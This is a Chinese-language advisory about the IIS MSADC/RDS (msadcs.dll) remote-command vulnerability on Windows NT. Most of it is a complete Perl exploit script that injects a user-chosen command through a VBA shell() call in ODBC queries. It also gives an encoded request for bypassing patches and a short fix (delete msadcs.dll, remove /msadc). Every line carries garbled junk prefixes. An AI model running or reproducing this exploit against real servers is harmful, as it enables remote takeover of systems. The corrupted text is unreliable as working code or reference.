IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
v@sIHb RIR\']WN 涉及程序：
H.P_ ]3f Microsoft NT server
7jrt7[{ je\Ph5 " 描述：
hw uiu* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
LG0;#3YwH q~Hn -5H4Q 详细：
xh-o }8*n" 如果你没有时间读详细内容的话，就删除:
Gf6p'(\zun c:\Program Files\Common Files\System\Msadc\msadcs.dll
!"e5h`/ADM 有关的安全问题就没有了。
+ /G2fhE .N;=\C* 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
+bx YG D E, Z$pKL? 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
E)&I@m 关于利用ODBC远程漏洞的描述，请参看:
HdI8f!X'TG b)#hSjWO# http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Y>z>11yEB0 BU)U/A8iS 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
1q\\5A<V http://www.microsoft.com/security/bulletins/MS99-025faq.asp .Z`R^2MU yqs 4[C 这里不再论述。
G&SB- k8 yEdi` 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
hR
n <em 1.JK3 3 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
KM0ru 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
*-WpZGh hW' )Sp _{O>v\ u #将下面这段保存为txt文件，然后: "perl -x 文件名"
e4$H&'b| ;a!S!% .h #!perl
T"Y+m-<% #
2 34p9A@ # MSADC/RDS 'usage' (aka exploit) script
tIi &;tw] #
E =67e=h # by rain.forest.puppy
G> _*djUf #
mU C)gA/ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
K g*Q # beta test and find errors!
)}R0Y=e FkDmP`Od use Socket; use Getopt::Std;
tFn)aa~L getopts("e:vd:h:XR", \%args);
4B;=kL_f )m+W
j print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
bP#:Oi0v` uc{ Ihw if (!defined $args{h} && !defined $args{R}) {
YqD=>P[ O print qq~
Kn{4;Xk\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
X0 5/uX{ -h <host> = host you want to scan (ip or domain)
@7c?xQVd$ -d <seconds> = delay between calls, default 1 second
y7 cl_ r K -X = dump Index Server path table, if available
s[*rzoA -v = verbose
<nf@U>wlw -e = external dictionary file for step 5
DK~x rU' w m@@$ Or a -R will resume a command session
q q`4<0 I> rKc9b< Ir ~; exit;}
}K>d+6qk5 =s{> Fsm1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
qZh/IW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~/U 1 xk% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
aKDKmHd if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
1~FOgk1; $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
gg/-k;@ Rf if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
klYX7? :4w ?# if (!defined $args{R}){ $ret = &has_msadc;
lFj]4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7z,C} -q *a^(vo print "Please type the NT commandline you want to run (cmd /c assumed):\n"
!F-w3
] . "cmd /c ";
MJ)RvNF $in=<STDIN>; chomp $in;
n&/
` $command="cmd /c " . $in ;
^
+\d z ?UR0:f:}oc if (defined $args{R}) {&load; exit;}
;;t yoh~t E&w7GZNt print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_61gF[r4!Y &try_btcustmr;
|-ALklXr e%M;?0j print "\nStep 2: Trying to make our own DSN...";
K5 z<3+ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
DCa^
u'f 3,w_ ".m`# print "\nStep 3: Trying known DSNs...";
j;r-NCBnz &known_dsn;
!BF;
>f` 1&O W4_ print "\nStep 4: Trying known .mdbs...";
&-w
Cvp7 &known_mdb;
8Zdn, }Z #'}*dy/ if (defined $args{e}){
{!`6zBsP print "\nStep 5: Trying dictionary of DSN names...";
(8 OsGn &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
l]SX@zTb v$9y,^p@e
print "Sorry Charley...maybe next time?\n";
zQ PQ exit;
8P`"M#fI i.#:zU %o ##############################################################################
W,u:gzmhw &^nGtW%a 9 sub sendraw { # ripped and modded from whisker
K sCyFp sleep($delay); # it's a DoS on the server! At least on mine...
O6 Y0XL my ($pstr)=@_;
rC5O")I< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
HaYo!.(Fv die("Socket problems\n");
wIgS3K if(connect(S,pack "SnA4x8",2,80,$target)){
KPk i}'GO select(S); $|=1;
p
ll)Y print $pstr; my @in=<S>;
X>^fEQq" select(STDOUT); close(S);
xz]~ jL@-] return @in;
Y/oHu@
_ } else { die("Can't connect...\n"); }}
nt<]d\o 0 y`Z \N
##############################################################################
Y-9I3?ar q\ %I#1 sub make_header { # make the HTTP request
xD 7]C|8o my $msadc=<<EOT
+7a6*;\ y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
u? EN User-Agent: ACTIVEDATA
@VI@fN Host: $ip
iow"n$/ Content-Length: $clen
n{jGOfc Connection: Keep-Alive
D+c>F5 jWgX_//! ADCClientVersion:01.06
~M$Wd2Th Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
iDD$pd,e\ z9" U!A4 --!ADM!ROX!YOUR!WORLD!
`@%LzeGz Content-Type: application/x-varg
7$#u Content-Length: $reqlen
^f@=:eWI { h4E8.E EOT
3$ /IC@+ ; $msadc=~s/\n/\r\n/g;
tBSW |0 return $msadc;}
R-14=|7a- j1Ezf=N6` ##############################################################################
{G-k NU "jCu6Rj d sub make_req { # make the RDS request
_Ey5n!0: my ($switch, $p1, $p2)=@_;
8EY:t zw my $req=""; my $t1, $t2, $query, $dsn;
/@5YW"1 Zd& S @Z if ($switch==1){ # this is the btcustmr.mdb query
! P4*+')M $query="Select * from Customers where City=" . make_shell();
|uDdHX8T $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
#E]59_
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
=u;MCQ[ x^CS"v7 elsif ($switch==2){ # this is general make table query
R-Sym8c $query="create table AZZ (B int, C varchar(10))";
=M-p/uB] $dsn="$p1";}
X?Au / >dT*rH 3w elsif ($switch==3){ # this is general exploit table query
Mihg: $query="select * from AZZ where C=" . make_shell();
^Dx&|UwiZa $dsn="$p1";}
5 dg(e3T Ho%CDz
z elsif ($switch==4){ # attempt to hork file info from index server
$!Dpj N $query="select path from scope()";
M3AXe]<eC1 $dsn="Provider=MSIDXS;";}
xC?h2 hIt 0IpmRH/ elsif ($switch==5){ # bad query
NVs@S-rpX $query="select";
SA z $dsn="$p1";}
W9)&!&<o "5
A! jq $t1= make_unicode($query);
t&p|Ynz?i $t2= make_unicode($dsn);
KmF]\:sMD $req = "\x02\x00\x03\x00";
m kexc~l $req.= "\x08\x00" . pack ("S1", length($t1));
W8<%[-r $req.= "\x00\x00" . $t1 ;
g= rbPbu $req.= "\x08\x00" . pack ("S1", length($t2));
~5g ~;f[4 $req.= "\x00\x00" . $t2 ;
y}H!c; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ctUp=po return $req;}
Q.[0c t OKV8zO ##############################################################################
5X+A"X
; C 9VT;ep sub make_shell { # this makes the shell() statement
o}!P Q #`M return "'|shell(\"$command\")|'";}
L r<cMK< W4N{S.#! ##############################################################################
fZ. ONq b]y2+A.n sub make_unicode { # quick little function to convert to unicode
_j3f Ar(V my ($in)=@_; my $out;
;bG>ZqJCVA for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
a
=QCp4^ return $out;}
$C\BcKlmv VE24ToI?W" ##############################################################################
]-q; 4. ;aBG,dr}i sub rdo_success { # checks for RDO return success (this is kludge)
hQ i2U my (@in) = @_; my $base=content_start(@in);
=}*0-\QG if($in[$base]=~/multipart\/mixed/){
7Wno':w8 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
TNth return 0;}
'%D7 C =;^ G?ZXWu. ##############################################################################
6 p zS p /\Ef%@ sub make_dsn { # this makes a DSN for us
xU vs: my @drives=("c","d","e","f");
Zh,71Umz print "\nMaking DSN: ";
_^;Z ~/. foreach $drive (@drives) {
;I*o@x_ print "$drive: ";
YN,A )w:] my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
N$DkX)Z "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
d@^ZSy>L2 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
G"6 !{4g $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
B6"0OIDY" return 0 if $2 eq "404"; # not found/doesn't exist
$Y;RKe9 if($2 eq "200") {
Gq6*SaTk foreach $line (@results) {
7"##]m. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
yuVs
YV@" } return 0;}
[ }:$yg 9z0p5)]n> ##############################################################################
j [a(#V{ ebq4g387X sub verify_exists {
GeqPRah my ($page)=@_;
<G JbmRc| my @results=sendraw("GET $page HTTP/1.0\n\n");
SKt r tm return $results[0];}
dve iQ ~@!bsLSMU ##############################################################################
92c HwWZ! FlQGg V N sub try_btcustmr {
[m -bV$-d my @drives=("c","d","e","f");
=v\.h=~~ my @dirs=("winnt","winnt35","winnt351","win","windows");
lMt=|66 9$Y=orpWxr foreach $dir (@dirs) {
N o$3"4wk print "$dir -> "; # fun status so you can see progress
9^x> 3Bo foreach $drive (@drives) {
<$YlH@;)`a print "$drive: "; # ditto
u ? " Vm $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Q/?$x*\> $reqlenlen=length( "$reqlen" );
$j~RWfw- $clen= 206 + $reqlenlen + $reqlen;
}b}m3i1 g 7| @ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
b$7 + ;I; if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@ZJS&23E else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
'R)Tn!6 vI?, 47Hj+ ##############################################################################
F{w zB 7=uj 2.J6 sub odbc_error {
N[hG8f my (@in)=@_; my $base;
e.%nRhSs 3 my $base = content_start(@in);
+t.b` U`- if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
pYg/Zm
Jd $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@iiT< $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
)+^+s d $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_{>vTBU4F return $in[$base+4].$in[$base+5].$in[$base+6];}
=w JX 0A| print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Y2TtY ; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
`V1]k_h $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
#mT"gs V9vTsmo( ##############################################################################
Wqnc{oq |$ #tHK"20 sub verbose {
=I<R! ZSN my ($in)=@_;
&m3lXl return if !$verbose;
kM 6
Qp print STDOUT "\n$in\n";}
[0of1eCSl GyIV
Hby ##############################################################################
x2EUr,7 _!6jR5&r, sub save {
"Q 0@/bYq my ($p1, $p2, $p3, $p4)=@_;
#WuBL_nZ~ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
? [AD=rUC print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
/z !% d%" close OUT;}
]]mJ']l w
xH7? tsf ##############################################################################
,}PgOJZ X SDpRo sub load {
.>S!ji my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
0f/<7R open(IN,"<rds.save") || die("Couldn't open rds.save\n");
;jXgAAz7 @p=<IN>; close(IN);
j.Hf/vi`z $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
hM{bavd $target= inet_aton($ip) || die("inet_aton problems");
2T35{Q!=F print "Resuming to $ip ...";
2iOV/=+ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
g(052]
if($p[1]==1) {
= &]L00u. $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
&&+H+{_Q $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
b sX[UF my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
QY/w if (rdo_success(@results)){print "Success!\n";}
WY/}1X9.% else { print "failed\n"; verbose(odbc_error(@results));}}
fl(wV.Je| elsif ($p[1]==3){
uYN`:b8 if(run_query("$p[3]")){
n[z+<VGwC print "Success!\n";} else { print "failed\n"; }}
2 nCA<& elsif ($p[1]==4){
m@ c)Xci if(run_query($drvst . "$p[3]")){
Nc`L;CP print "Success!\n"; } else { print "failed\n"; }}
)2.Si# exit;}
N[' .BN XwmL.Gg:]7 ##############################################################################
?
k /` {.yB'.k? sub create_table {
KPF1cJ2N my ($in)=@_;
QV!up^Zso $reqlen=length( make_req(2,$in,"") ) - 28;
fVlB=8DNk& $reqlenlen=length( "$reqlen" );
}tz7b# $clen= 206 + $reqlenlen + $reqlen;
i@yC-))bY my @results=sendraw(make_header() . make_req(2,$in,""));
G[=c
Ss, return 1 if rdo_success(@results);
b9krOe * j my $temp= odbc_error(@results); verbose($temp);
z_HdISy0 return 1 if $temp=~/Table 'AZZ' already exists/;
\D4:Nt# return 0;}
F%|h;+5 AH^/V}9H ##############################################################################
d 0D] Q &Jj<h: * sub known_dsn {
;pAK_> # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
+>,I1{u%& my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
c)J%`i$ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
K0~rN.C!0 "banner", "banners", "ads", "ADCDemo", "ADCTest");
TbU#96"~. V! Uc( foreach $dSn (@dsns) {
F5<H m_ \: print ".";
ZVBXx\{s next if (!is_access("DSN=$dSn"));
Xvu(vA if(create_table("DSN=$dSn")){
@{Q4^'K" print "$dSn successful\n";
0kh6@y3 if(run_query("DSN=$dSn")){
W\3X=@|u) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
**%37 print "Something's borked. Use verbose next time\n";}}} print "\n";}
jA1 +x:Wq 3fj4%P" ##############################################################################
{) XTk &" K?;DMUSY\ sub is_access {
C dn J&N{ my ($in)=@_;
0mE 0 j $reqlen=length( make_req(5,$in,"") ) - 28;
[0!( xp^ $reqlenlen=length( "$reqlen" );
3og.y+.=U. $clen= 206 + $reqlenlen + $reqlen;
D*jM1w_` my @results=sendraw(make_header() . make_req(5,$in,""));
04ui`- c( my $temp= odbc_error(@results);
( .:e,l{U% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
e'~3oqSvR return 0;}
WWY6ha {: /}NpA$ ##############################################################################
BGSw~6 !$ JT e sub run_query {
M`_0C38
my ($in)=@_;
2y4bw i $reqlen=length( make_req(3,$in,"") ) - 28;
V3Bz
Mw\9r $reqlenlen=length( "$reqlen" );
6nn *]|7 $clen= 206 + $reqlenlen + $reqlen;
Yy8g( bU my @results=sendraw(make_header() . make_req(3,$in,""));
#!=tDc
& return 1 if rdo_success(@results);
]W up /o my $temp= odbc_error(@results); verbose($temp);
F ,kZU$ return 0;}
). O)p9 }e1ZbmW ##############################################################################
?ub3 5NLa ^iA9%zp sub known_mdb {
F4QVAOM]U my @drives=("c","d","e","f","g");
kJU2C=m@e2 my @dirs=("winnt","winnt35","winnt351","win","windows");
X}]-*T|a my $dir, $drive, $mdb;
7GGUV my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l/D }
X @ Qe0! (_= # this is sparse, because I don't know of many
(7Q o my @sysmdbs=( "\\catroot\\icatalog.mdb",
Jm@oDME_E "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
}V>T M{ "\\system32\\certmdb.mdb",
[g,}gyeS( "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
vO=fP_ )7@0[> my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ZCw ]m#lS "\\cfusion\\cfapps\\forums\\forums_.mdb",
$G>. \ t "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
gw(z1L5
n "\\cfusion\\cfapps\\security\\realm_.mdb",
$b\P|#A "\\cfusion\\cfapps\\security\\data\\realm.mdb",
al0L&z\ "\\cfusion\\database\\cfexamples.mdb",
d9ihhqq3} "\\cfusion\\database\\cfsnippets.mdb",
}Jw, >} "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
rqq1T Rg "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
?2a $*( "\\cfusion\\brighttiger\\database\\cleam.mdb",
*j=%
# "\\cfusion\\database\\smpolicy.mdb",
Xj*Wu_ "\\cfusion\\database\cypress.mdb",
U*: !W=XN "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
#$vEGY}1 "\\website\\cgi-win\\dbsample.mdb",
6*?F @D2& "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
0(I j%Wi, "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
i4Jc.8^9$ ); #these are just
QJNFA}*> foreach $drive (@drives) {
qR.Q, (b| foreach $dir (@dirs){
e!`i3KYn" foreach $mdb (@sysmdbs) {
`/g
UV print ".";
VQ I 3G if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
]_Xlq_[/r print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
E]6
6]+;0_ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
.hiS w print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
b -y } else { print "Something's borked. Use verbose next time\n"; }}}}}
wBzC5T%, l0]
EX>"E foreach $drive (@drives) {
Si,6o!0k foreach $mdb (@mdbs) {
B *vM0 print ".";
kT?J5u _o if(create_table($drv . $drive . $dir . $mdb)){
Al'3 ? print "\n" . $drive . $dir . $mdb . " successful\n";
!BI;C(,RL if(run_query($drv . $drive . $dir . $mdb)){
l,: F print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
"K lwA.7/ } else { print "Something's borked. Use verbose next time\n"; }}}}
+V+a4lU14 }
zQA`/&=Y *A< 5*Db:F ##############################################################################
fnY.ao1-s[ 9l,o P? sub hork_idx {
& ~!Wym print "\nAttempting to dump Index Server tables...\n";
:EH=_" print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
VX/#1S tC $reqlen=length( make_req(4,"","") ) - 28;
r/sNrB1U"y $reqlenlen=length( "$reqlen" );
9kojLqCT $clen= 206 + $reqlenlen + $reqlen;
_|] x2xb) my @results=sendraw2(make_header() . make_req(4,"",""));
9cg U T@a if (rdo_success(@results)){
]d`VT)~vje my $max=@results; my $c; my %d;
f-d1KNY for($c=19; $c<$max; $c++){
B:QHwzd $results[$c]=~s/\x00//g;
i&k7-< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
nd (S3rct& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
9a kH $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
<X5 fUU"+U $d{"$1$2"}="";}
_w Ot39e& foreach $c (keys %d){ print "$c\n"; }
~v83pu1!2s } else {print "Index server doesn't seem to be installed.\n"; }}
H:G1BZjq d1kJRJ ##############################################################################
^J d
r>@ 2[CdZ(k]5 sub dsn_dict {
3~ \[7I/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
aoTP [Bp while(<IN>){
v3qA":(w+( $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
};g"GNy next if (!is_access("DSN=$dSn"));
kN>!2UfNS if(create_table("DSN=$dSn")){
<,(,jU)j print "$dSn successful\n";
MfQ!6z E if(run_query("DSN=$dSn")){
`lPf b[b print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
fzA9'i` print "Something's borked. Use verbose next time\n";}}}
EzIGz[ print "\n"; close(IN);}
z ] Ue|%K qFNes)_r ##############################################################################
s@DLt+ O5 ;>YzEo sub sendraw2 { # ripped and modded from whisker
03(4 x'z sleep($delay); # it's a DoS on the server! At least on mine...
wf $s*|z my ($pstr)=@_;
;GI&lpKK socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
W m3X[?V die("Socket problems\n");
EIQ
p>|5 if(connect(S,pack "SnA4x8",2,80,$target)){
Uwi7) print "Connected. Getting data";
Q IgNsz open(OUT,">raw.out"); my @in;
}T$p)" select(S); $|=1; print $pstr;
HKr
Mim- while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
7yba04D) close(OUT); select(STDOUT); close(S); return @in;
g[t [/TV } else { die("Can't connect...\n"); }}
`g })|Gx )0R'(# ##############################################################################
Tqk\XILG N ##o#eZq:" sub content_start { # this will take in the server headers
9 E6R0D} my (@in)=@_; my $c;
(M
~e?s for ($c=1;$c<500;$c++) {
&f;K}W O if($in[$c] =~/^\x0d\x0a/){
w- {c.x if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
h=%_Ao<x else { return $c+1; }}}
\j)E 5b+ return -1;} # it should never get here actually
.}`Ix'. V/;B3t~ f ##############################################################################
i@ BtM9: O<e{ sub funky {
4,0{7MLgK my (@in)=@_; my $error=odbc_error(@in);
B~du-Z22IZ if($error=~/ADO could not find the specified provider/){
LraWcO\or' print "\nServer returned an ADO miscofiguration message\nAborting.\n";
^Q^_?~h* ! exit;}
^ K E% C;u if($error=~/A Handler is required/){
Y)a^(!<H< print "\nServer has custom handler filters (they most likely are patched)\n";
pU7lnS[ exit;}
Zr,VR-kW+ if($error=~/specified Handler has denied Access/){
~3S~\0&| print "\nServer has custom handler filters (they most likely are patched)\n";
/^|Dbx!u exit;}}
(2
a`XwR 7`hP?a= ##############################################################################
A nvRxb.e 2,P^n4~A?w sub has_msadc {
K!]/(V(} my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
!7&5` q7 my $base=content_start(@results);
3 SGDy] return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
"2T#MO/ return 0;}
wsVV$I[2 z%LIX^q9 ########################
XEZF{lP u4|$bbig I y3GE[ 解决方案：
Bn g@-#`/ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
RlDn0s 2、移除web 目录: /msadc
